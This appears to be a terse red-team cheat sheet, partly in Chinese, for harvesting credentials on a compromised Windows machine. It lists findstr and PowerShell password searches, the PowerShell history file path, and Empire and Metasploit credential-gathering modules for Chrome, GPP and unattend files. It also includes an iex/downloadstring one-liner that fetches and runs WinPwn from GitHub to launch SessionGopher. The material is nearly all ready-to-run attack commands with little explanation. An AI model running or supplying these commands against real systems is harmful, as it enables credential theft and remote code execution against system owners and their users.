CMD

# Running these commands in the root of c:\ can produce enourmouse output.
findstr /si pass *.xml *.doc *.txt *.xls
findstr /si cred *.xml *.doc *.txt *.xls

Empire

powershell/collection/file_finder
powershell/collection/find_interesting_file
powershell/credentials/sessiongopher

MSF

# Meterpreter
# Search by file name from parent directory
search -d <Directory> -f <File>
search -d c:\\shares -f *password*
# Modules
use post/windows/gather/enum_unattend
use post/windows/gather/credentials/chrome
use post/windows/gather/credentials/gpp
use post/windows/gather/enum_files
# Search all modules
search post/windows/gather/credentials

Pwershell

ls -R | select-string -Pattern password

PowerSHELL 历史记录

C:\Users\{USER}\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

SessionGopher

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput